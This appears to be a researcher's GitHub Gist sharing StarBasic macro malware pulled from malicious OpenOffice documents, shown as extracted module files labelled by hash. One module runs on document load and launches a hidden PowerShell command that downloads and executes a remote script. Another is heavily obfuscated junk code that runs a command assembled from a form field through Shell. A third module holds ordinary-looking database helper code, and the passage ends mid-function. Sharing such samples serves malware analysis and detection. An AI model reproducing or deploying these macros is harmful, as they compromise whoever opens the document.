Created
February 7, 2019 17:22
-
-
Save JohnLaTwC/0d03e60b04ee4f370bb45e4c94331e8f to your computer and use it in GitHub Desktop.
StarBasic macro Malware (Uploaded by @JohnLaTwC)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## Uploaded by @JohnLaTwC | |
| 25b4214da1189fd30d3de7c538aa8b606f22c79e50444e5733fb1c6d23d71fbe.unzip\Basic\Standard\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Sub OnLoad | |
| Dim os as string | |
| os = GetOS | |
| If os = "windows" OR os = "osx" OR os = "linux" Then | |
| Exploit | |
| end If | |
| End Sub | |
| Sub Exploit | |
| Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $e=new-object net.webclient;$e.proxy=[Net.WebRequest]::GetSystemWebProxy();$e.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $e.downloadstring('http://192.168.0.7:8080/WGTx5dF');""") | |
| End Sub | |
| Function GetOS() as string | |
| select case getGUIType | |
| case 1: | |
| GetOS = "windows" | |
| case 3: | |
| GetOS = "osx" | |
| case 4: | |
| GetOS = "linux" | |
| end select | |
| End Function | |
| Function GetExtName() as string | |
| select case GetOS | |
| case "windows" | |
| GetFileName = "exe" | |
| case else | |
| GetFileName = "bin" | |
| end select | |
| End Function | |
| </script:module> | |
| 322f314102f67a16587ab48a0f75dfaf27e4b044ffdc3b88578351c05b4f39db.unzip\Basic\Project\iLPVmbqDzOp.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="iLPVmbqDzOp" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Function iboRNoNsG() | |
| On Error Resume Next | |
| Set AFjiWZQIjriYNNikdqcDSC = qHuNmFttzWFqdloAsi | |
| Select Case raBcPGFlRlpEWzl | |
| Case 294919323 | |
| cMdCmzkCIWAwppjZNLt = fiGhUbIIRjtssNYjACFcQZ | |
| kEmcvGfImrDvwFv = 220358850 | |
| pckYdIGbRCYLFQZF = WdizMBmbGApSZbFVun | |
| Case 258373053 | |
| iGwjAdEGzjadpciSzLdbwz = CByte(HQJsaTpLdmQnQhBwiz) | |
| dZZLcztnViJLqlkoPqld = ChrW(HVzrYoSkzMviSTwhEhuhfT) | |
| UaaCfsmHwTrWEcUDJaCY = Log(OhXRnHKJrvHntdRwlm) | |
| End Select | |
| Set wsKhUqcZSBorbbjERJz = zzSofYEWQQaFPPrzIiHmWKU | |
| Select Case zWAKkREMldaAZWCvlGJ | |
| Case 17379138 | |
| jbLjlviCNXnduoIXulw = OUmprYljLAPBRwQu | |
| bzVWJXGnXfitYrVKrLOpWs = 83319210 | |
| CrNHmLvXOiTldpEz = BTtDmnJuqamCESimLTSK | |
| Case 332833921 | |
| MjKfpYjjCGRJVZ = CByte(GQEENvlIVJQkwSVmmh) | |
| GJtHzkLKXjkvzJ = ChrW(EDNGlGbboVYnkOjTib) | |
| SJNJGTCkNckNTafNSZ = Log(wtfiElZwavrMGTbrKruG) | |
| End Select | |
| Set fFoismXXvAtIjHsnqNh = hYNTThqpWGRwhBS | |
| Select Case iFrYbfJXuBiJXiFGNzrHsVLK | |
| Case 317819470 | |
| BojvahptElWIiCPpYSChR = AKkkKLGNtjcsiUowazTiiT | |
| ESprDwsIPRNoYLqXimrrq = 209838471 | |
| YuAarFNnJhafRUTDQAYNb = jQnkaprnbtZhQzCWB | |
| Case 20397087 | |
| dDGzfYCLiaqRSK = CByte(NknHiYvVFhGkEVB) | |
| zVLwMZSHLYiJNkbGWIjRitY = ChrW(hiBQYozpjfrwGMuoRfwG) | |
| mIUFANvmkMGwhQiXCiXaoch = Log(fzKNvzCzSjvZhKYaBDwTkzY) | |
| End Select | |
| Set bOsfIZbmvVhHJfor = FoAIYRNAlpkrAZYOvi | |
| Select Case kwsaVSLkNdNCsWTbFmEDzifW | |
| Case 233901892 | |
| vvwJtOwpHVNOfpMjAWYnsV = zSbqfBGTVqfXQnDkwGDO | |
| NrGPrQdIwwzaOwrSYRnACrXA = 118676981 | |
| szmajpGijaUbnldKXuhwCpMS = pQOuWUGzvXjWXPIUfOR | |
| Case 326234653 | |
| dBXsTdSVtDlTArZsnNFNdsOz = CByte(AiZcWauUcMOqCDrnbCTuDX) | |
| jcsBLjTkmaETwtsXdqw = ChrW(fKBlKOaBqvCkcHqAiZ) | |
| lJbbQzjstjiqEEzrYaGrz = Log(RurXUqrDstEHNOE) | |
| End Select | |
| Set LKaVabLaWnbGTdMR = ZokMzDlrTjFjHlaFZUEiJAn | |
| Select Case ENSwjLHnpqziiALGpiHsGq | |
| Case 103995649 | |
| BBuJIikYBwHllo = HbStQlrWZIwsfsvf | |
| wQvfQwfGFajjsZUBU = 339968824 | |
| nwwQJiVAKqFfGStnV = frcnmLKLnjidqLtisRzzmBv | |
| Case 331568220 | |
| QzuaQwlzIoIoAJnFwr = CByte(RjzumcaboWGdwiSWMPlWhw) | |
| hWkqrIMtoKGjoREHzqXz = ChrW(CLMKinapMVGVCRYCmjTc) | |
| STpzdEHHnjKzBfKYfJUl = Log(bpzLmAjFLGDUAk) | |
| End Select | |
| Set hEdatNjaNisfwPo = wqucnUMaDpimwFpIZVrCBaB | |
| Select Case UsrHYpDkPwmXYAR | |
| Case 80264104 | |
| DXEjuiHokGcXlpYooHvdFBN = uXzSRjZEfKwDzWaNkSojb | |
| dIOjjsWimBJSoXjo = 151314819 | |
| jYsarVqSjhtmNd = htoEiAjhwYwtfhDh | |
| Case 313382963 | |
| nDDUCRtsRMopAofIHdrkoAzq = CByte(CvbLkdAzqZaGNqXLpjUtHYH) | |
| WaZpLHnENYAWRhhj = ChrW(rJPFBtnUYwQiwninOoJDLm) | |
| mVtoqBtIClFPOsHUjmVmI = Log(ZQkWiDsXfcFZdjIFwS) | |
| End Select | |
| Set fMsSHkCsdTUSjKwn = djpoPjqtRwuwTPbruIBHzz | |
| Select Case rjiVJirjJcuJQIYPjB | |
| Case 164713159 | |
| lHtKEsaoBzjniOwFkKhOZO = WYGLiWsVFaIjjpURQDChM | |
| HiBKTiVUKQWWXlzjsSJbaMVf = 94173982 | |
| QtQLXhYaQbKYDNzkP = MNSjTjLjYkVuJWwDOcEzspz | |
| Case 318181226 | |
| WWUPvbpwcTBwhZjznI = CByte(FWRocAzXjQzWPVOzNrUdIj) | |
| hCuEhCYzFhJrwEisPvDJjczm = ChrW(SbTISifZYklhvRVHRuoF) | |
| QtizFhEWREFIcObFrmCd = Log(ZUwKUdiBOiIjzCioI) | |
| End Select | |
| Set BamsJHPErMjsqkq = DqBkhaMDRrXuLzhFPRsoAO | |
| Select Case GYaKQSzjzwXLifwZbNiaSj | |
| Case 136166071 | |
| tfbcZrCppBvMHQvlUHYwnmw = SrRaRnXWDhQlrUKHthW | |
| kkSKRzFKLWFGjAJiabYBi = 164536398 | |
| azKtAzQEFQRqiZG = ThMKhbJFqKchSJU | |
| Case 17047720 | |
| bsLHEFNuSzqPKbIT = CByte(EUSObwpFCpUjlwvOf) | |
| jvAPcwPPbSpjjTN = ChrW(FAkwAtVCBPtKjDvAfTcXRosT) | |
| MXWPWGBVlquiiHnawOMFEiXX = Log(BPrqiRIQwnVwnfJrouNAWz) | |
| End Select | |
| Set IqczdppcGRoHnoiJKf = vbwZljGzXIKqIjW | |
| Select Case AADaVhXHsdaVCEF | |
| Case 329479965 | |
| kauLRqTWrRTwafaQihIHE = OEpjIGkvSDMJYFbujJjDdP | |
| KSzzETWwqczLqW = 239401911 | |
| NmwzQjRHVpowwXAJzAiOL = fbvHVjatkXzbWRh | |
| Case 107757129 | |
| bBpiPiYzScoMqrWWGGUDJN = CByte(hbFQwXBjcjNDMVcQwXJDD) | |
| hujdEPLMNdNQICKOZaQtLd = ChrW(oJBipXjzKhvuKkVSmXP) | |
| kqwNaGizjmKaESrTDl = Log(ojdCiNIzdDHiVwHrzM) | |
| End Select | |
| Const PvJCIKR = 0 | |
| Set UcsFhEIiwoqAlri = ZzXkRBjdjWNwaXtAkLOw | |
| Select Case wiOfiqNkoNzrrioo | |
| Case 160369203 | |
| SsPZLqMIYuqQadmRdPIFjL = trIQEitFMLWwDwXWYS | |
| SStYnUFaBYfTFGWVhCa = 52437728 | |
| fpiEEjiSFskmJtDzTVv = IrjjsQphcpUzKzndPTinWHvj | |
| Case 308759328 | |
| vNSWOjiIRnIzLnrAqQXmb = CByte(FZjzmIcBvzlLUbOG) | |
| nTChzVRHvvVQfJIGlHt = ChrW(PuWjQrJMATQmkojTYdGESr) | |
| MGkQqdFjTVTMtwWQHMFHcfj = Log(qZohHBoUXCKZjbSivjwQ) | |
| End Select | |
| Set CuXIijSnAkFbRw = XXwDoKiWtjOkqACJuIirco | |
| Select Case DkzaihZTlzSQQiznrUXdb | |
| Case 104594698 | |
| bnzaLTnHNimuSqkzoTMdnYkm = uUnXFLInlVnkHOAwpFhd | |
| jzHUiKOmLDDLvRwAkIXiH = 218798861 | |
| zPhFMfzSCIvNXfDWAt = aSjYLzCwFzJzcz | |
| Case 184904213 | |
| EBECHOkADADaUhlW = CByte(FHCNqVIJhsVtISNvVwUwr) | |
| MhjVKtbdXLmOWsZwNfvsZVP = ChrW(uhpfwjRatLuUdVK) | |
| iDUKGtwVVYkoBwUqS = Log(adDwfouMVKzETsUjKWB) | |
| End Select | |
| Set kNBuZvDKXuCFVSkMliiNKMp = zKdDAiEoFGUWTEvjws | |
| Select Case qNHAKWlmOtYhXYfwORAKs | |
| Case 278185363 | |
| APwOshmCPSczIqKTj = rpujZwzoHhPwirzzG | |
| MItFcrJOvZXFEwUvBBUTp = 8935426 | |
| DZEnQklzIjYHXUmMC = KBYRCdQdmpwfmvKspf | |
| Case 159645041 | |
| siKaOVfrwbPoRw = CByte(zrmXbWmzvAdzdwfiGozf) | |
| rwCjwZhLaKNqQLADIziF = ChrW(OZkYBuRwIATRwItjrcwFl) | |
| qQGNlibwqPZzcYSHwf = Log(PRJuZRDHTQUmAvtjU) | |
| End Select | |
| Set zRiOoujAQwRYUzs = uljIjTZcOqbwrYhhqAiiSi | |
| Select Case McDqvwPFYzqEjGqWirBz | |
| Case 327185486 | |
| iIrRkiTSKTQGWjjdii = kDABUAaAiAqRihtuuwiNjmFn | |
| najKpANXzMPhHXQJip = 120702312 | |
| BlYdlmiAQSwzNijarq = zcufUdMnbNDwznTVBBFYDV | |
| Case 87360150 | |
| jORTdqpSsASrHGD = CByte(ZwDmMTBKuIfZlR) | |
| dPnwGLsKkXlGwUbNvzFwE = ChrW(atMNHZULQjaPpcTIz) | |
| joTPbNEpSujbjSjLotltET = Log(YHEjhfztmAQSPzLSzIRGZb) | |
| End Select | |
| Set QECwSlHoYiOkGRR = zkTwAjzqSHYIFhj | |
| Select Case kuAHbfTwiYrSCUShkDUf | |
| Case 197323942 | |
| FhHMdLNwirzlzMRJiTRUT = rfnzprYBMBzDoTAPBHl | |
| pAURUGPaVANJNdpcYjWW = 175505117 | |
| fwmwXzJSSJjnnrKWcibz = LnppLdXqUlOFIUXfYiRR | |
| Case 17551046 | |
| DaaqwRCDnvdATIwGMUlcw = CByte(UhiWmrDAJjddkPPVfGo) | |
| wTcHAPiSWzfajfFsL = ChrW(iKzmlwXqYhrqofnhZBF) | |
| VXIldLBDtEJWJEbdQL = Log(fkKqBbfJAmCFEnoFGCOIZ) | |
| End Select | |
| RifEW = bAMYOAWAq.TextBox1 + mUJJE + fURjfQoW + VhviXIh + ZDipzpI + vIApiRX + wksbP + hoVLZ + nbRwwfT + vKbufj + KkGAhHO + mwEQtOjf + QUbHhm | |
| Set kBvXcQstiHEjSBCVWGS = zioloJHvFjKNfHpDtKKW | |
| Select Case dJZsCSMJXnHSCaGM | |
| Case 66658954 | |
| TIwouwqELLwbMvwRTUOsm = vmiwDudjjrjbrOOpOcCwHAK | |
| bLWlHlzRzcMKGztvaicHskEi = 15662787 | |
| FmqnjucmUrYsZwtSiOBE = RjGXcYDDqGoidfLaJtSiT | |
| Case 190112752 | |
| XiFdOZFpjzuoCk = CByte(GWZjikjJwThsVVjWP) | |
| hjoXvodkRIliqJqtmvJkwQ = ChrW(ZIJhhkUzbfAVAajbkFtTbY) | |
| dYCbjnNipQwPOlHw = Log(zKJDpnpTDUYfFz) | |
| End Select | |
| Set pnjNOccOkfdJiXJ = SwAJsJLOGtdAsUXpiqDOj | |
| Select Case KInwGzJjbwzqznQ | |
| Case 116619280 | |
| jbVHUwcVQHnaoTvEM = sWuCOEWRfACUkYRcXmLwpK | |
| cqpVIniElnBYvUdN = 107148749 | |
| DTbTvXPJLwItNwhLRLYjN = AwQhizVHtZvNmqjIvSFz | |
| Case 182244222 | |
| wsZFrjCRohXYSfCNoQnEC = CByte(zAJrbJQGdOCSzYIdImFbl) | |
| pNYEGhdpLXfNvYvzH = ChrW(BhDJWAfiFLHBwawjLvSXDid) | |
| CimmdjhIiMaDKfrYYbbShJ = Log(FQLNAhkqSEQGrNtBWdz) | |
| End Select | |
| Set CWPMwKYFGhEBDDiC = NpmpmJdoXEZLNKKXTHMN | |
| Select Case RFIIZNKfOwthwrRH | |
| Case 165561409 | |
| NlXZFztsXtdjwWpTv = djMvSJIGfiPTtPurwbosA | |
| PhqQBfCXsfvhdsDS = 124371280 | |
| QwTOcEANoFXNiDkTQ = ECIdEImkXLlBnjIabBqB | |
| Case 33405359 | |
| PnqwziAswJcYNQGnuLcrjo = CByte(mRrEDbjdPZRmUmHIHjf) | |
| bZOSrUoGfYNGaLDiI = ChrW(zQNjMzvilAnCUIBaAND) | |
| MjnczqMLLJjcAhmOAvM = Log(XNjnTdEFEALqbkNOc) | |
| End Select | |
| Set UsFcWKYEQjbjHYN = AaFmwktEsDsPUsZuR | |
| Select Case YAwQoZYwQanuWp | |
| Case 107936686 | |
| quMXJjwAjSSIjXGjRFzNSj = fNzUSRzjCzfBihtspBvhVH | |
| OsTGcRqDWHIhJMOfj = 250089700 | |
| PJEVcwXNKLWCQXzicwKVPM = JuWAjfaWMvjsGKWrHEDjrzFs | |
| Case 60291275 | |
| dmjYQWCMubFwohjp = CByte(HjfqYFGDQLjEKpir) | |
| BnpniNptPumJQWwCozL = ChrW(VFjaVzKWIkmbGQfwzXcT) | |
| zILUtApjCVrSOCwHPRiDTl = Log(ILCAqACRUsnYzVFbzUmF) | |
| End Select | |
| Set vWMavmlsYSBEqYAblUwB = irCKPSGICczznsdXsobiM | |
| Select Case woHKXCDwQLhvRiKQfUi | |
| Case 237918457 | |
| pBGDfXEtfVTXEsOCFu = EGLoQsbwNcJHDc | |
| ImBGrfzDkpOXNl = 316056137 | |
| aaafPiNqLEYqQWNP = AkbBwCYFCawBUONROihczoi | |
| Case 167424946 | |
| vmGImOcwcMBUMcXC = CByte(MDOoqqLZBnjnwMFCqDP) | |
| wQMWDsBLwCGKaXbbL = ChrW(EwuikavLiAwSVZHjdw) | |
| rlwpzdwhWMakdqUzTXNflbr = Log(APihhCqtikTkFHuF) | |
| End Select | |
| IsNjokFwP = Array(LdCJqzz, zEXaaiwl, piihf, Interaction _ | |
| _ | |
| _ | |
| _ | |
| _ | |
| _ | |
| _ | |
| _ | |
| .Shell(RifEW, PvJCIKR), ODKmGL) | |
| Set EEzwRXYYWmMJEWBYssiXq = qvQqmUzRkiwBrUaWVjZjQzv | |
| Select Case mwkucNrSrLNCfakD | |
| Case 164427916 | |
| BiLCijwWXzzJbtz = DqjFoXnfKjHYqu | |
| VHMwNAkREvGqrUhjTCbXtTTQ = 198884234 | |
| jswYafdzcCPzmDTYfJijvKcz = VPWFBowRRUrTfVaNrsfTVQ | |
| Case 154585711 | |
| UoJhzAVPAkEQGu = CByte(NTfUjbFzoHTDSzdSFrT) | |
| NiOURzcSvQKGzSRzqvobP = ChrW(UZizCSWRwYmKMiFLCjzmDY) | |
| MFAfdcKDsUYKoqUwJvdRlUnF = Log(uisEbdlwcRrCntpoUupoY) | |
| End Select | |
| Set hIWSLXKDtTJPXj = LYwrvwzZZqtbAVOotG | |
| Select Case jHouwEiWDXIazlk | |
| Case 61543525 | |
| vhsDijzbSvJhffPIQCLXiC = QbvCQPvqQMYtMODwXrSdIU | |
| YrtShiYmKsubcnhjMWFtVG = 253821352 | |
| tNEnfLYfwmWKXz = HraNASnaLqKGHCaTS | |
| Case 33008738 | |
| YTilGzUOipQWJOHwCvsmkG = CByte(twVFRcVSDFhYudGTOjDIku) | |
| ArzEYYaSFRhlokuDmI = ChrW(NRcpNVwbdGhzBzcUNR) | |
| ztdmbGNrRjUcRzNjDYB = Log(jczwMYUflLPhlNLdkiAjzd) | |
| End Select | |
| Set VrDUHsvCvchHfqEmciZQWjJ = HlMLoTKFFwloJYQow | |
| Select Case CfjWmXAslAzpUlhlNWfjObSb | |
| Case 13529571 | |
| FPcDOkSYhihkwpLviJFPb = GXKtIOjaMIUDSkPhmOXwEDEd | |
| qYStJVmHFIFtUcDoGSZ = 109279025 | |
| WajAXqsfvDThVSqRhDmivNb = nRmTHzliMdTzmsmi | |
| Case 301877471 | |
| JFlMzJNXYOnizJzVNFEY = CByte(zSoUswsfpRHoSDWYbSc) | |
| jYWrddKwQfjaVFL = ChrW(wrHLVsjzfuhGdzlnbSnYvz) | |
| OouPKkjSNribjLRkrpYLjvD = Log(SttzDRmrzBsXbdZNzb) | |
| End Select | |
| End Function | |
| </script:module>5009ea744e10aec93c1993e6a2c5003351c6ec7391b3327234b4ba722a90814f.unzip\Basic\AndrewBase\Module1.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC ***** | |
| Option Explicit | |
| Option Compatible | |
| Dim oDummyFormDef | |
| Sub BlahBlahBlah | |
| Dim oData() | |
| Dim i As Integer | |
| Dim s$ | |
| oData() = ThisComponent.getArgs() | |
| On Error Resume Next | |
| For i = LBound(oData()) To UBound(oData()) | |
| s = s & "i=" & i & " ==> " & oData(i).Name & " ==> " | |
| s = s & CStr(oData(i).Value) | |
| s = s & CHR$(10) | |
| Next | |
| MsgBox s | |
| 'Inspect(oData(0)) | |
| End Sub | |
| Sub OpenCreateDbWizard | |
| Dim sURL$ | |
| Dim oDoc | |
| sURL = "private:factory/sdatabase?Interactive" | |
| oDoc = StarDesktop.loadComponentFromURL(sURL, "_blank", 0, Array()) | |
| End Sub | |
| Sub ExtractBinaryFile2(sPathURL$, sDBURL$) | |
| Dim sFileName$ 'File to save from the database. | |
| Dim oDB 'Database object. | |
| Dim oStream | |
| Dim oSimpleFileAccess | |
| Dim oBaseContext | |
| Dim oStatement | |
| Dim oResult | |
| Dim sSQL$ | |
| Dim oCon | |
| Dim sURL$ | |
| Dim s$ | |
| If NOT FileExists(sDBURL) Then | |
| Print "The DB does not exist, sorry" | |
| Exit Sub | |
| End If | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDB = oBaseContext.getByName(sDBURL) | |
| oCon = oDB.getConnection("", "") | |
| oStatement = oCon.createStatement() | |
| sSQL = "SELECT NAME FROM BINDATA ORDER BY NAME" | |
| oResult = oStatement.executeQuery(sSQL) | |
| sFileName = SelItemFromResult(oResult, 1, 100) | |
| If sFileName = "" Then | |
| oCon.close() | |
| Exit Sub | |
| End If | |
| sSQL = "SELECT DATA FROM BINDATA WHERE NAME='" & sFileName & "'" | |
| oResult = oStatement.executeQuery(sSQL) | |
| If Not IsNull(oResult) Then | |
| oResult.next() | |
| REM I could get a byte array, but this is easier. | |
| oStream = oResult.getBinaryStream(1) | |
| If oResult.wasNull() Then | |
| Print "The image was NULL" | |
| Else | |
| Dim oProp(2) As New com.sun.star.beans.PropertyValue | |
| oProp(0).Name = "InputStream" : oProp(0).Value = oStream | |
| oProp(1).Name = "ReadOnly" : oProp(1).Value = True | |
| oProp(2).Name = "FilterName" : oProp(2).Value = "writer8" | |
| Print "Ready to load document" | |
| StarDesktop.LoadComponentFromUrl("private:stream", "_blank", 0, oProp()) | |
| Print "Just loaded the document" | |
| 's = "com.sun.star.ucb.SimpleFileAccess" | |
| 'oSimpleFileAccess = createUnoService(s) | |
| 'sURL = sPathURL & sFileName | |
| 'If FileExists(sURL) Then | |
| ' sURL = ChooseAFile$(GraphicFilters(), False, sURL) | |
| 'End If | |
| 'If sURL <> "" Then | |
| ' oSimpleFileAccess.writeFile(sURL, oStream) | |
| ' Print "Wrote " & sURL | |
| 'End If | |
| End If | |
| End If | |
| oCon.close() | |
| End Sub | |
| Sub Main | |
| 'CreateBinaryDB() | |
| 'CallOpenFormInDB() | |
| CallAddBinForm() | |
| End Sub | |
| REM Use "Option Compatible", or you can not use a default argument. | |
| Sub CreateBinaryDB(Optional dbURL$ = "", Optional bVerbose = False) | |
| Dim oDBContext 'DatabaseContext service. | |
| Dim oDB 'Database data source. | |
| REM No URL Specified, get one. | |
| If dbURL = "" Then dbURL = ChooseAFile(OOoBaseFilters(), False) | |
| REM Still No URL Specified, exit. | |
| If dbURL = "" Then Exit Sub | |
| If FileExists(dbURL) Then | |
| If bVerbose Then Print "The file already exists." | |
| Else | |
| If bVerbose Then Print "Creating " & dbURL | |
| oDBContext = createUnoService( "com.sun.star.sdb.DatabaseContext" ) | |
| oDB = oDBContext.createInstance() | |
| oDB.URL = "sdbc:embedded:hsqldb" | |
| oDB.DatabaseDocument.storeAsURL(dbURL, Array()) | |
| End If | |
| End Sub | |
| REM Create the database specified by dbURL. If it | |
| REM does not exist, then it is created. | |
| REM If bForceNew is True, then an existing table is deleted first. | |
| REM If bVerbose is True, progress messages are printed. | |
| Sub CreateBinaryTables(dbURL As String, _ | |
| Optional bForceNew = False, _ | |
| Optional bVerbose = False) | |
| Dim sTableName$ 'The name of the table to creat. | |
| Dim oTable 'A table in the database. | |
| Dim oTables 'Tables in the document | |
| Dim oTableDescriptor 'Defines a table and how it looks. | |
| Dim oCols 'The columns for a table. | |
| Dim oCol 'A single column descriptor. | |
| Dim oCon 'Database connection. | |
| Dim oBaseContext 'Database context service. | |
| Dim oDB 'Database data source. | |
| REM If the database does not exist, then create it. | |
| If NOT FileExists(dbURL) Then | |
| CreateBinaryDB(dbURL, bVerbose) | |
| End If | |
| REM Use the DatabaseContext to get a reference to the database. | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDB = oBaseContext.getByName(dbURL) | |
| 'Inspect(oDB) | |
| 'Exit Sub | |
| oCon = oDB.getConnection("", "") | |
| oTables = oCon.getTables() | |
| sTableName$ = "BINDATA" | |
| If oTables.hasByName(sTableName$) Then | |
| If bForceNew Then | |
| If bVerbose Then Print "Deleting table " & sTableName | |
| oTables.dropByName(sTableName) | |
| oDB.DatabaseDocument.store() | |
| 'oCon.close() | |
| 'Exit Sub | |
| Else | |
| If bVerbose Then Print "Table " & sTableName & " already exists!" | |
| oCon.close() | |
| Exit Sub | |
| End If | |
| End If | |
| REM For now, this should always be True | |
| If NOT oTables.hasByName(sTableName$) Then | |
| oTableDescriptor = oTables.createDataDescriptor() | |
| oTableDescriptor.Name = sTableName$ | |
| oCols = oTableDescriptor.getColumns() | |
| oCol = oCols.createDataDescriptor() | |
| oCol.Name = "ID" | |
| oCol.Type = com.sun.star.sdbc.DataType.INTEGER | |
| oCol.IsNullable = com.sun.star.sdbc.ColumnValue.NO_NULLS | |
| oCol.IsAutoIncrement = True | |
| oCol.Precision = 10 | |
| oCol.Description = "Primary Key" | |
| oCols.appendByDescriptor(oCol) | |
| oCol.Name = "NAME" | |
| oCol.Type = com.sun.star.sdbc.DataType.VARCHAR | |
| oCol.Description = "Filename" | |
| oCol.Precision = 255 | |
| oCol.IsAutoIncrement = False | |
| oCols.appendByDescriptor(oCol) | |
| oCol.Name = "DATA" | |
| oCol.Type = com.sun.star.sdbc.DataType.LONGVARBINARY | |
| oCol.Precision = 2147483647 | |
| oCol.IsNullable = com.sun.star.sdbc.ColumnValue.NULLABLE | |
| oCol.Description = "Binary Data" | |
| oCols.appendByDescriptor(oCol) | |
| oTables.appendByDescriptor(oTableDescriptor) | |
| End If | |
| REM Do not dispose the database context or you will NOT be able to | |
| REM get it back without restarting OpenOffice.org. | |
| REM Store the associated document to persist the changes to disk. | |
| oDB.DatabaseDocument.store() | |
| oCon.close() | |
| If bVerbose Then Print "Table " & sTableName & " created!" | |
| End Sub | |
| REM Create the database specified by dbURL. If it | |
| REM does not exist, then it is created. | |
| REM If bForceNew is True, then an existing table is deleted first. | |
| REM If bVerbose is True, progress messages are printed. | |
| Sub CreateBinaryTablesUseSQL(dbURL As String, _ | |
| Optional bForceNew = False, _ | |
| Optional bVerbose = False) | |
| Dim sTableName$ 'The name of the table to creat. | |
| Dim oTable 'A table in the database. | |
| Dim oTables 'Tables in the document | |
| Dim oTableDescriptor 'Defines a table and how it looks. | |
| Dim oCols 'The columns for a table. | |
| Dim oCol 'A single column descriptor. | |
| Dim oCon 'Database connection. | |
| Dim oBaseContext 'Database context service. | |
| Dim oDB 'Database data source. | |
| Dim oResult 'Restul of executing an SQL statement. | |
| Dim nCount As Long 'Counting variable. | |
| Dim oStmt | |
| Dim sSql$ | |
| REM If the database does not exist, then create it. | |
| If NOT FileExists(dbURL) Then | |
| CreateBinaryDB(dbURL, bVerbose) | |
| End If | |
| REM Use the DatabaseContext to get a reference to the database. | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDB = oBaseContext.getByName(dbURL) | |
| oCon = oDB.getConnection("", "") | |
| oStmt = oCon.createStatement() | |
| sTableName$ = "BINDATA" | |
| REM First, check to see if the table exists! | |
| sSql = "select count(*) from INFORMATION_SCHEMA.SYSTEM_TABLES " & _ | |
| "where TABLE_NAME='" & sTableName & "' " & _ | |
| "AND TABLE_SCHEM='PUBLIC'" | |
| nCount = 0 | |
| oResult = oStmt.executeQuery(sSql) | |
| If NOT IsNull(oResult) AND NOT IsEmpty(oResult) Then | |
| oResult.Next() | |
| nCount = oResult.getLong(1) | |
| End If | |
| If nCount <> 0 Then | |
| If bForceNew Then | |
| If bVerbose Then Print "Deleting table " & sTableName | |
| REM The default behavior is to use RESTRICT rather than CASCADE. | |
| REM RESTRICT prevents the deletion if other things depend on | |
| REM this table. | |
| sSql = "DROP TABLE " & _ | |
| DBQuoteName(sTablename, oCon) & _ | |
| "IF EXISTS CASCADE" | |
| oStmt.executeQuery(sSql) | |
| RefreshTables(dbURL$, oCon) | |
| oCon.close() | |
| Exit Sub | |
| Else | |
| If bVerbose Then Print "Table " & sTableName & " already exists!" | |
| oCon.close() | |
| Exit Sub | |
| End If | |
| End If | |
| REM I did not quote the field names because I know that | |
| REM they are all uppercase with nothing special about them. | |
| sSql = "CREATE TABLE " & _ | |
| DBQuoteName(sTableName, oCon) & _ | |
| "(ID INTEGER NOT NULL IDENTITY PRIMARY KEY, " & _ | |
| " NAME VARCHAR(255) NULL, " & _ | |
| " DATA LONGVARBINARY NULL)" | |
| oStmt.executeQuery(sSql) | |
| If bVerbose Then Print "Created table in " & dbURL | |
| RefreshTables(dbURL$, oCon) | |
| REM Do not dispose the database context or you will NOT be able to | |
| REM get it back without restarting OpenOffice.org. | |
| REM Store the associated document to persist the changes to disk. | |
| oDB.DatabaseDocument.store() | |
| oCon.close() | |
| If bVerbose Then Print "Table " & sTableName & " created!" | |
| End Sub | |
| REM Using SQL DDL commands to modify the table structure bypasses | |
| REM the normal OOo API, which does not give OOo an opportunity to | |
| REM notice that the table structure has changed. Tell OOo to | |
| REM refresh the table view. | |
| Sub RefreshTables(sURL$, oCon) | |
| Dim oDoc 'Document to refresh. | |
| Dim oDisp 'Dispatch helper. | |
| Dim oFrame 'Current frame. | |
| REM This should be the same as | |
| REM oCon.getTables().refresh() | |
| REM but it is not... | |
| oDoc = FindComponentWithURL(sURL, False) | |
| If NOT IsNULL(oDOC) AND NOT IsEmpty(oDoc) Then | |
| oDisp = createUnoService("com.sun.star.frame.DispatchHelper") | |
| oFrame = oDoc.getCurrentController().getFrame() | |
| oDisp.executeDispatch(oFrame,".uno:DBRefreshTables", "", 0, Array()) | |
| End If | |
| End Sub | |
| REM sDir - Path, as a URL, to the database file. | |
| REM sFile - File name without the file extension; also the table name. | |
| REM sExt - File extension, probably csv. | |
| Sub ReadCSVData(sDir$, sFile$, sExt$) | |
| Dim oManager 'Connection driver manager. | |
| Dim oDriver 'An indiviual driver. | |
| Dim sURL$ 'DB URL including "sdbc:flat:..." | |
| Dim oCon 'Connection object. | |
| Dim sSQL$ 'SQL that is executed. | |
| Dim oResult 'Result from an SQL statement. | |
| Dim oStatement 'A created statement that can execute SQL. | |
| Dim oDoc 'Calc document that will contain the presentation data. | |
| Dim oData1() 'Generic data variable. | |
| Dim oParms() As New com.sun.star.beans.PropertyValue | |
| sFile = sFile | |
| sExt = sExt | |
| sURL = "sdbc:flat:" & sDir & sFile & "." & sExt | |
| REM Obtain a driver that supports the specified URL | |
| oManager = CreateUnoService("com.sun.star.sdbc.DriverManager") | |
| oDriver = oManager.getDriverByURL(sURL) | |
| If IsNull(oDriver) Then | |
| Print "Sorry, no driver available for a " & sExt & " file" | |
| Exit Sub | |
